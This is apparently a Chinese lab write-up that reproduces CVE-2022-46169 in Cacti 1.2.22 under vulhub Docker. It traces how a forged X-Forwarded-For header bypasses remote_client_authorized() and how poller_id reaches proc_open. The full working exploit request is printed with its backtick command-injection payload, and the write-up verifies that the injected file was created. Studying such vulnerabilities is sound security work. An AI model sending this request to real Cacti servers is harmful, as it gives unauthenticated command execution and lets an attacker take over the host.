cacti的RCE

目录

[1 环境搭建](#1 环境搭建)

[1.1 linux:](#1.1 linux:)

[1.1.1 在ubuntu上拉取环境(docker)](#1.1.1 在ubuntu上拉取环境(docker))

[1.1.2 docker环境部署](#1.1.2 docker环境部署)

[1.1.3 查看镜像端口:](#1.1.3 查看镜像端口:)

[1.1.4 访问](#1.1.4 访问)

[1.1.5 查看数据库配置:](#1.1.5 查看数据库配置:)

[1.2 windows搭建:](#1.2 windows搭建:)

[1.2.1 config.php.dist](#1.2.1 config.php.dist)

[2 环境设置](#2 环境设置)

[2.1 登录仙人掌](#2.1 登录仙人掌)

[2.2 设置](#2.2 设置)

[3 vscode进入容器的方法](#3 vscode进入容器的方法)

[4 RCE绕过与分析](#4 RCE绕过与分析)

[4.1 绕过鉴权函数](#4.1 绕过鉴权函数)

[4.1.1 函数分析](#4.1.1 函数分析)

[4.1.1.1 get_client_addr](#4.1.1.1 get_client_addr)

[4.1.1.2 break 2:](#4.1.1.2 break 2:)

[4.1.1.3 remote_client_authorized()](#4.1.1.3 remote_client_authorized())

[4.1.1.4 remote_agent_strip_domain](#4.1.1.4 remote_agent_strip_domain)

[4.2 用户可控参数--get](#4.2 用户可控参数--get)

[4.2.1 初步分析](#4.2.1 初步分析)

[4.2.2 分析函数的if](#4.2.2 分析函数的if)

[4.2.3 ACTION为什么为2?](#4.2.3 ACTION为什么为2?)

[4.3 绕过prepare_validate_result函数](#4.3 绕过prepare_validate_result函数)

函数代码:

[5 漏洞复现演示](#5 漏洞复现演示)

5.1进入数据库

[5.2 payload抓包测试](#5.2 payload抓包测试)

[5.3 上传payload](#5.3 上传payload)

[5.4 测试验证](#5.4 测试验证)

[6 代码回顾总结](#6 代码回顾总结)

[6.1 remote_client_authorized()绕过](#6.1 remote_client_authorized()绕过)

[6.2 action get传参](#6.2 action get传参)

[6.3 当action=2](#6.3 当action=2)

[7 AI总结图(助于思考回顾)](#7 AI总结图(助于思考回顾))


1 环境搭建

1.1 linux:

1.1.1 在ubuntu上拉取环境(docker)

bash 复制代码
root@yang:~/vulhub/cacti/CVE-2022-46169# wget  https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip^C

1.1.2 docker环境部署

使用此命令构建docker环境镜像

bash 复制代码
root@yang:~/vulhub/cacti/CVE-2022-46169# docker compose up -d
WARN[0000] /root/vulhub/cacti/CVE-2022-46169/docker-compose.yml: the attribute `version` is obsol                                                                                        ete, it will be ignored, please remove it to avoid potential confusion
[+] Running 2/2
 ✔ Container cve-2022-46169-db-1   Started                                                  0.5s
 ✔ Container cve-2022-46169-web-1  Started  

1.1.3 查看镜像端口:

bash 复制代码
root@yang:~/vulhub/cacti/CVE-2022-46169# docker images
REPOSITORY     TAG       IMAGE ID       CREATED         SIZE
nginx          latest    9592f5595f2b   4 weeks ago     192MB
mysql          5.7       5107333e08a8   19 months ago   501MB
vulhub/cacti   1.2.22    c0a06715ff54   2 years ago     642MB
root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID   IMAGE                 COMMAND                   CREATED       STATUS         PORTS                                     NAMES
9b7a360a3476   vulhub/cacti:1.2.22   "bash /entrypoint.sh..."   2 weeks ago   Up 2 minutes   0.0.0.0:8080->80/tcp, [::]:8080->80/tcp   cve-2022-46169-web-1
35343a3e052e   mysql:5.7             "docker-entrypoint.s..."   2 weeks ago   Up 2 minutes   3306/tcp, 33060/tcp                       cve-2022-46169-db-1

1.1.4 访问

1.1.5 查看数据库配置:

1.2 windows搭建:

下载安装包后直接部署在小皮的WWW的目录下面,发现报错

1.2.1 config.php.dist

这是一个备份文件,可以修改为php文件,作为mysql

修改配置文件

无法成功!稍后再试,尝试了很多方法都不行

2 环境设置

2.1 登录仙人掌

账号:admin

密码:admin

进入后就直接一直next

2.2 设置

3 vscode进入容器的方法

因为自己最开始不知道,所以写了

然后在这里面可以选择想进入的容器:

4 RCE绕过与分析

4.1 绕过鉴权函数

4.1.1 函数分析

php 复制代码
function remote_client_authorized() {
	global $poller_db_cnn_id;

	/* don't allow to run from the command line */
	$client_addr = get_client_addr();
	if ($client_addr === false) {
		return false;
	}

	if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
		cacti_log('ERROR: Invalid remote agent client IP Address.  Exiting');
		return false;
	}

	$client_name = gethostbyaddr($client_addr);

	if ($client_name == $client_addr) {
		cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
	} else {
		$client_name = remote_agent_strip_domain($client_name);
	}

	$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

	if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;
			} elseif ($poller['hostname'] == $client_addr) {
				return true;
			}
		}
	}

	cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");

	return false;
}
4.1.1.1 get_client_addr

走到这个函数里面来,再接着走到了get_client_addr 这一看就知道应该是获取客户端的地址的函数,那我们来分析一下他的函数源码

php 复制代码
function get_client_addr($client_addr = false) {
	$http_addr_headers = array(
		'X-Forwarded-For',
		'X-Client-IP',
		'X-Real-IP',
		'X-ProxyUser-Ip',
		'CF-Connecting-IP',
		'True-Client-IP',
		'HTTP_X_FORWARDED',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'HTTP_CLIENT_IP',
		'REMOTE_ADDR',
	);
//循环获取他的http的请求头
	$client_addr = false;
	foreach ($http_addr_headers as $header) {
		if (!empty($_SERVER[$header])) {
			$header_ips = explode(',', $_SERVER[$header]);
			foreach ($header_ips as $header_ip) {
				if (!empty($header_ip)) {
					if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
						cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
					} else {
						$client_addr = $header_ip;
						cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
						break 2;
					}
				}
			}
		}
	}

	return $client_addr;
}

最开始这个数组就是为了循环获取他的请求头的数据

$_server:就是为了获取到X-Forwarded-For,这样就可以判断能不能获取到这个X-Forwarded-For参数,就可以判断出请求头是否伪空

<?php

echo'<pre>';

var_dump($_SERVER);

可以打印出全局的数组,其中它就有请求头的数据

打印出来的数据如上:和f12里面的http-request-header里面的内容是一样的

所以说我们可以通过获取X-Forwarded-For,可以进行伪造

header_ips = explode(',', _SERVER[$header]);

foreach (header_ips as header_ip) {

if (!empty($header_ip)) {

if (!filter_var($header_ip, FILTER_VALIDATE_IP))

这里是通过全局数组获取到了header头里面的ip字段的信息,获取到后,判断是否为空,如果不是空,就用filter_var来进行过滤

FILTER_VALIDATE_IP:这是一个过滤器,用来验证IP是否合法

4.1.1.2 break 2:

跳出两层循环

break 2是 PHP 中的控制语句,用于终止多层嵌套循环的执行。在这段代码中,它的作用是:

  1. 内层循环:遍历由逗号分隔的 IP 列表(例如,当代理服务器链传递多个 IP 时)。
  2. 外层循环:遍历 HTTP 头数组。

当在内层循环中找到第一个有效 IP 后,break 2会立即终止两层循环,直接跳到整个循环结构之后的代码(即return $client_addr)。这确保函数在找到第一个有效 IP 后立即返回,避免继续检查其他头或 IP

4.1.1.3 remote_client_authorized()

function remote_client_authorized() {

global $poller_db_cnn_id;

/* don't allow to run from the command line */

$client_addr = get_client_addr();

if ($client_addr === false) {

return false;

}

当ip为127.0.0.1时,因为break2直接get_client_addr返回的$client_addr就是127.0.0.1,接着

php 复制代码
if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
		cacti_log('ERROR: Invalid remote agent client IP Address.  Exiting');
		return false;
	}

	$client_name = gethostbyaddr($client_addr);

	if ($client_name == $client_addr) {
		cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
	} else {
		$client_name = remote_agent_strip_domain($client_name);
	}

对127.0.0.1进行合法性校验,然后通过gethostbyaddr这个函数将127.0.0.1转换成了localhost,因为client_name 和client_addr不相等,就走到了else里面,然后走到了remote_agent_strip_domain这个函数里面

4.1.1.4 remote_agent_strip_domain
php 复制代码
function remote_agent_strip_domain($host) {
	if (strpos($host, '.') !== false) {
		$parts = explode('.', $host);
		return $parts[0];
	} else {
		return $h

client_name就传到了host为localhost,因为它没有.,所以它直接返回了$h,也就是localhost

strpos:这个函数是返回$host里面的第一次出现点号的位置,返回从0开始的点号的索引位置

explode('.', $host) 函数:

  • 功能 :将字符串 $host 按点号(.)分割成数组。
  • 示例
    • explode('.', 'www.google.com')['www', 'google', 'com']
    • explode('.', 'localhost')['localhost']

$parts[0] 返回值:

作用 :返回分割后的第一个元素(即主机名部分)。

返回$host:

通过以上分析返回是localhost:接着走以下代码

php 复制代码
if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;

这个内层函数返回的结果通过以上分析,也应该是localhost跟我们的client_name是一样的,所以返回true

所以通过分析可以知道,这样我们就绕过了这个鉴权函数,主要问题是出现在get_client_addr的时候,直接两层循环退出了所以X-Forwarded-For就可以进行伪造成127.0.0.1(localhost)

鉴权完成后就走到4.2了

4.2 用户可控参数--get

这里有用户可控的参数,那么我可以走进此开关,就可以走进条件case 'polldata'

4.2.1 初步分析

鉴权完成后走到这个函数

当我进入这个case后,就会触发poll_for_data这个函数

php 复制代码
function poll_for_data() {
	global $config;

	$local_data_ids = get_nfilter_request_var('local_data_ids');
	$host_id        = get_filter_request_var('host_id');
	$poller_id      = get_nfilter_request_var('poller_id');
	$return         = array();

	$i = 0;

可以看到这个函数请求了三个内容,那我们看一下官方给的payload测试就明白了

复制代码
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

就刚好传递了 local_data_ids(array) host_id(string) poller_id(string)这三个参数

4.2.2 分析函数的if

进入这个函数的第一个if,观察它都查询了poller_item这个表

php 复制代码
if (cacti_sizeof($local_data_ids)) {
		foreach($local_data_ids as $local_data_id) {
			input_validate_input_number($local_data_id);

			$items = db_fetch_assoc_prepared('SELECT *
				FROM poller_item
				WHERE host_id = ?
				AND local_data_id = ?',
				array($host_id, $local_data_id));

			$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
				FROM poller_item
				WHERE host_id = ?
				AND local_data_id = ?
				AND action = 2',
				array($host_id, $local_data_id));

进docker查询一下这个表的默认值(总共有6行数据):

sql 复制代码
mysql> select * from  poller_item \G

local_data_id: 1

poller_id: 1

host_id: 1

action: 1

present: 1

last_updated: 2025-07-28 12:07:34

hostname: localhost

snmp_community: public

snmp_version: 0

snmp_username:

snmp_password:

snmp_auth_protocol:

snmp_priv_passphrase:

snmp_priv_protocol:

snmp_context:

snmp_engine_id:

snmp_port: 161

snmp_timeout: 500

rrd_name: proc

rrd_path: /var/www/html/rra/local_linux_machine_proc_1.rrd

rrd_num: 1

rrd_step: 300

rrd_next_step: 0

arg1: perl /var/www/html/scripts/unix_processes.pl

arg2:

arg3:

*************************** 2. row ***************************

local_data_id: 2

poller_id: 1

host_id: 1

action: 1

present: 1

last_updated: 2025-07-28 12:07:34

hostname: localhost

snmp_community: public

snmp_version: 0

snmp_username:

snmp_password:

snmp_auth_protocol:

snmp_priv_passphrase:

snmp_priv_protocol:

snmp_context:

snmp_engine_id:

snmp_port: 161

snmp_timeout: 500

rrd_name:

rrd_path: /var/www/html/rra/local_linux_machine_load_1min_2.rrd

rrd_num: 1

rrd_step: 300

rrd_next_step: 0

arg1: perl /var/www/html/scripts/loadavg_multi.pl

arg2:

arg3:

*************************** 3. row ***************************

local_data_id: 3

poller_id: 1

host_id: 1

action: 1

present: 1

last_updated: 2025-07-28 12:07:34

hostname: localhost

snmp_community: public

snmp_version: 0

snmp_username:

snmp_password:

snmp_auth_protocol:

snmp_priv_passphrase:

snmp_priv_protocol:

snmp_context:

snmp_engine_id:

snmp_port: 161

snmp_timeout: 500

rrd_name: users

rrd_path: /var/www/html/rra/local_linux_machine_users_3.rrd

rrd_num: 1

rrd_step: 300

rrd_next_step: 0

arg1: perl /var/www/html/scripts/unix_users.pl ''

arg2:

arg3:

*************************** 4. row ***************************

local_data_id: 4

poller_id: 1

host_id: 1

action: 1

present: 1

last_updated: 2025-07-28 12:07:34

hostname: localhost

snmp_community: public

snmp_version: 0

snmp_username:

snmp_password:

snmp_auth_protocol:

snmp_priv_passphrase:

snmp_priv_protocol:

snmp_context:

snmp_engine_id:

snmp_port: 161

snmp_timeout: 500

rrd_name: mem_buffers

rrd_path: /var/www/html/rra/local_linux_machine_mem_buffers_4.rrd

rrd_num: 1

rrd_step: 300

rrd_next_step: 0

arg1: perl /var/www/html/scripts/linux_memory.pl 'MemFree:'

arg2:

arg3:

*************************** 5. row ***************************

local_data_id: 5

poller_id: 1

host_id: 1

action: 1

present: 1

last_updated: 2025-07-28 12:07:34

hostname: localhost

snmp_community: public

snmp_version: 0

snmp_username:

snmp_password:

snmp_auth_protocol:

snmp_priv_passphrase:

snmp_priv_protocol:

snmp_context:

snmp_engine_id:

snmp_port: 161

snmp_timeout: 500

rrd_name: mem_swap

rrd_path: /var/www/html/rra/local_linux_machine_mem_swap_5.rrd

rrd_num: 1

rrd_step: 300

rrd_next_step: 0

arg1: perl /var/www/html/scripts/linux_memory.pl 'SwapFree:'

arg2:

arg3:

*************************** 6. row ***************************

local_data_id: 6

poller_id: 1

host_id: 1

action: 2

present: 1

last_updated: 2025-07-28 12:12:41

hostname: localhost

snmp_community: public

snmp_version: 0

snmp_username:

snmp_password:

snmp_auth_protocol:

snmp_priv_passphrase:

snmp_priv_protocol:

snmp_context:

snmp_engine_id:

snmp_port: 161

snmp_timeout: 500

rrd_name: uptime

rrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrd

rrd_num: 1

rrd_step: 300

rrd_next_step: 0

arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptime

action的值1-5都为1,只有local_id=6的action为2,分析代码可以知道需要的是action为2的数据

4.2.3 ACTION为什么为2?

php 复制代码
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
						$cactides = array(
							0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
							1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
							2 => array('pipe', 'w')  // stderr is a pipe to write to
						);

						if (function_exists('proc_open')) {
							$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
							$output = fgets($pipes[1], 1024);
							$using_proc_function = true;
						} else {
							$using_proc_function = false;
						}

						if ($using_proc_function == true) {
							$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));

							if (prepare_validate_result($output) === false) {
								if (strlen($output) > 20) {
									$strout = 20;
								} else {
									$strout = strlen($output);
								}

								$output = 'U';
							}
						} else {
							$output = 'U';
						}

						$return[$i]['value']         = $output;
						$return[$i]['rrd_name']      = $item['rrd_name'];
						$return[$i]['local_data_id'] = $local_data_id;

						if (($using_proc_function == true) && ($script_server_calls > 0)) {
							/* close php server process */
							fwrite($pipes[0], "quit\r\n");
							fclose($pipes[0]);
							fclose($pipes[1]);
							fclose($pipes[2]);

分析可知,只有当action为2才能走到这个case来,走进来过后才可以执行我们的RCE代码(proc_open)

php 复制代码
if (cacti_sizeof($local_data_ids)) {
		foreach($local_data_ids as $local_data_id) {
			input_validate_input_number($local_data_id);

因为这里循环所以我们后面提交的是数组的payload,可以看一下:

payload:

action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1

X-Forwarded-For: 127.0.0.1

这样就说明了为什么我的local_data_ids为6,host_id=1,因为根据4.2.2分析得到

4.3 绕过prepare_validate_result函数

因为我要让$output有值,就必须要绕过此函数

bash 复制代码
if (prepare_validate_result($output) === false) {
							if (strlen($output) > 20) {
								$strout = 20;
							} else {
								$strout = strlen($output);
							}

							$output = 'U';
						}

						$return[$i]['value']         = $output;
						$return[$i]['rrd_name']      = $item['rrd_name'];
						$return[$i]['local_data_id'] = $local_data_id;

						break;

函数代码:

php 复制代码
function prepare_validate_result(&$result) {
	/* first trim the string */
	$result = trim($result, "'\"\n\r");

	/* clean off ugly non-numeric data */
	if (is_numeric($result)) {
		dsv_log('prepare_validate_result','data is numeric');
		return true;
	} elseif ($result == 'U') {
		dsv_log('prepare_validate_result', 'data is U');
		return true;
	} elseif (is_hexadecimal($result)) {
		dsv_log('prepare_validate_result', 'data is hex');
		return hexdec($result);
	} elseif (substr_count($result, ':') || substr_count($result, '!')) {
		/* looking for name value pairs */
		if (substr_count($result, ' ') == 0) {
			dsv_log('prepare_validate_result', 'data has no spaces');
			return true;
		} else {
			$delim_cnt = 0;
			if (substr_count($result, ':')) {
				$delim_cnt = substr_count($result, ':');
			} elseif (strstr($result, '!')) {
				$delim_cnt = substr_count($result, '!');
			}

			$space_cnt = substr_count(trim($result), ' ');
			dsv_log('prepare_validate_result', "data has $space_cnt spaces and $delim_cnt fields which is " . (($space_cnt+1 == $delim_cnt) ? 'NOT ' : '') . ' okay');

			return ($space_cnt+1 == $delim_cnt);
		}
	} else {
		$result = strip_alpha($result);

		if ($result === false) {
			$result = 'U';
			return false;
		} else {
			return true;
		}
	}
}

5 漏洞复现演示

5.1进入数据库

bash 复制代码
root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID   IMAGE                 COMMAND                   CREATED       STATUS       PORTS                                     NAMES
9b7a360a3476   vulhub/cacti:1.2.22   "bash /entrypoint.sh..."   2 weeks ago   Up 6 hours   0.0.0.0:8080->80/tcp, [::]:8080->80/tcp   cve-2022-46169-web-1
35343a3e052e   mysql:5.7             "docker-entrypoint.s..."   2 weeks ago   Up 6 hours   3306/tcp, 33060/tcp                       cve-2022-46169-db-1
root@yang:~/vulhub/cacti/CVE-2022-46169# docker exec -it 35 /bin/bash
bash-4.2#
bash-4.2# mysql -uroot -proot
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 208
Server version: 5.7.44 MySQL Community Server (GPL)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

5.2 payload抓包测试

payload:

php 复制代码
http://192.168.37.136:8080/action=polldata&local_data_ids[0]=6&host_id=1&poller_id=%60touch+/tmp/success%60

打印值:表示我绕过了限制

查看一下我查询的值的hostname,因为根据第二张图可以知道查询出来的poller这个的hostname如果和client_name一样就可以直接绕过限制

5.3 上传payload

5.4 测试验证

进入docker:

bash 复制代码
root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID   IMAGE                 COMMAND                   CREATED       STATUS       PORTS                                 NAMES
9b7a360a3476   vulhub/cacti:1.2.22   "bash /entrypoint.sh..."   2 weeks ago   Up 8 hours   0.0.0.80->80/tcp, [::]:8080->80/tcp   cve-2022-46169-web-1
35343a3e052e   mysql:5.7             "docker-entrypoint.s..."   2 weeks ago   Up 8 hours   3306/t33060/tcp                       cve-2022-46169-db-1
root@yang:~/vulhub/cacti/CVE-2022-46169# docker exec -it 9b /bin/bash
root@9b7a360a3476:/var/www/html# cd /tmp/

进入tmp查看payload创建的succss这个文件是否成功

测试成功!!

6 代码回顾总结

6.1 remote_client_authorized()绕过

1,先判断鉴权的问题,就走到了remote_client_authorized()这个函数,

2,然后这个函数会走到get_client_addr()这个函数里面---》break 2---漏洞起始点--》X-Forwarded-For----》为127.0.0.1----》通过gethostbyaddr这个函数转换成localhost

3,数据库查询的poller的ids=6以及action为2的hostname值也为localhost

4,

这两个相等,所以就return true

就绕过了鉴权函数remote_client_authorized()

6.2 action get传参

用户可控的参数,接着进入poll for data()函数:

这个是命令执行的函数:

根据4.2可知有三个参数:

这3个参数基本上没有任何过滤

函数体:

$local_data_ids = get_nfilter_request_var('local_data_ids');

//必须是数组

$host_id = get_filter_request_var('host_id');

//1

$poller_id = get_nfilter_request_var('poller_id');

//执行命令的地方

$return = array();

执行完上面的代码后:会进入这个循环,但是这个数组里面只有一个6

php 复制代码
oreach($local_data_ids as $local_data_id) {
			input_validate_input_number($local_data_id);

这个代码执行的结果:因为我的payload传参为:action=polldata&local_data_ids[0]=6&host_id=1

php 复制代码
$items = db_fetch_assoc_prepared('SELECT *
				FROM poller_item
				WHERE host_id = ?
				AND local_data_id = ?',
				array($host_id, $local_data_id));

根据传参的结果查询出来的结果为:

local_data_id: 6

poller_id: 1

host_id: 1

action: 2

present: 1

last_updated: 2025-07-28 12:12:41

hostname: localhost

6.3 当action=2

见4.2.3

if (function_exists('proc_open')) {

cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . config['base_path'] . '/script_server.php realtime ' . poller_id, cactides, $pipes);

output = fgets(pipes[1], 1024);

$using_proc_function = true;

} else {

这里面会命令执行$poller_id,也就是我们payload的传参

复制代码
poller_id=`touch+/tmp/success`

7 AI总结图(助于思考回顾)

复制代码
远程代码执行漏洞分析
├── 一、漏洞概述
│   ├── 漏洞类型:鉴权绕过+命令注入
│   ├── 影响范围:依赖X-Forwarded-For头鉴权且处理用户输入不严格的PHP系统
│   └── 攻击效果:攻击者可绕过身份验证并执行任意系统命令
│
├── 二、漏洞技术细节
│   ├── 第一阶段:鉴权绕过
│   │   ├── 触发点:remote_client_authorized()函数
│   │   ├── 利用路径:
│   │   │   ├── 客户端请求进入鉴权流程
│   │   │   ├── 调用get_client_addr()获取客户端地址
│   │   │   ├── 攻击者通过X-Forwarded-For头伪造地址为127.0.0.1
│   │   │   ├── gethostbyaddr将127.0.0.1解析为localhost
│   │   │   ├── 数据库中poller配置的hostname也为localhost
│   │   │   └── 地址匹配成功,鉴权绕过
│   │   └── 核心问题:
│   │       ├── 依赖不可信的HTTP头进行身份验证
│   │       └── 未验证请求来源的真实性
│   │
│   ├── 第二阶段:命令注入
│   │   ├── 触发点:poll for data()函数
│   │   ├── 利用路径:
│   │   │   ├── 用户可控参数:
│   │   │   │   ├── local_data_ids(数组,未严格过滤)
│   │   │   │   ├── host_id(整数,部分过滤)
│   │   │   │   └── poller_id(命令执行点,无过滤)
│   │   │   ├── 数据库查询:
│   │   │   │   ├── SELECT * FROM poller_item WHERE host_id=1 AND local_data_id=6
│   │   │   │   └── 查询结果返回action=2的记录
│   │   │   └── 命令执行:
│   │   │       ├── action=2触发proc_open函数调用
│   │   │       ├── 执行命令:php -q /script_server.php realtime $poller_id
│   │   │       └── poller_id参数被攻击者注入恶意命令
│   │   └── 核心问题:
│   │       ├── 用户输入未经过充分过滤和转义
│   │       ├── 使用不安全的命令拼接方式
│   │       └── 对关键参数类型和范围校验不足
│
├── 三、攻击路径示例
│   ├── 构造HTTP请求:
│   │   ├── 添加X-Forwarded-For: 127.0.0.1头
│   │   └── 请求URL: ?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
│   ├── 漏洞利用步骤:
│   │   ├── 绕过鉴权验证
│   │   ├── 触发数据库查询
│   │   ├── 执行系统命令
│   │   └── 创建/tmp/success文件验证漏洞
│
├── 四、安全风险评估
│   ├── 严重程度:高
│   ├── 利用条件:
│   │   ├── 系统启用proc_open函数
│   │   ├── 可访问Web接口
│   │   └── 知晓数据库中有效local_data_id和host_id组合
│   └── 潜在危害:
│       ├── 服务器被完全控制
│       ├── 数据泄露或篡改
│       └── 作为跳板攻击内部网络
│
├── 五、修复建议
│   ├── 鉴权机制改进:
│   │   ├── 不依赖X-Forwarded-For头进行安全决策
│   │   ├── 使用IP白名单结合API密钥验证
│   │   └── 增加来源IP和用户会话绑定机制
│   ├── 输入验证强化:
│   │   ├── 对所有输入参数实施严格白名单过滤
│   │   ├── 使用escapeshellarg()处理命令参数
│   │   └── 对数组参数验证每个元素类型
│   └── 命令执行优化:
│       ├── 重构代码避免直接执行外部命令
│       ├── 如果必须执行,使用安全的参数传递方式
│       └── 禁用不必要的系统命令执行函数
相关推荐
一口一个橘子13 小时前
[ctfshow web入门]web99 in_array的弱比较漏洞
web安全·网络安全·php
波吉爱睡觉14 小时前
Redis反弹Shell
redis·web安全·网络安全
wha the fuck40415 小时前
攻防世界-引导-Web_php_unserialize
安全·web安全·网络安全·php
吃不得辣条21 小时前
网络安全笔记
笔记·web安全·智能路由器
还是奇怪1 天前
深入解析三大Web安全威胁:文件上传漏洞、SQL注入漏洞与WebShell
sql·安全·web安全
终焉暴龙王2 天前
CTFHub web进阶 php Bypass disable_function通关攻略
开发语言·安全·web安全·php
百川2 天前
Apache文件解析漏洞
web安全·apache
希望奇迹很安静3 天前
SSRF_XXE_RCE_反序列化学习
学习·web安全·ctf·渗透测试学习
程序员编程指南3 天前
Qt 网络编程进阶:网络安全与加密
c语言·网络·c++·qt·web安全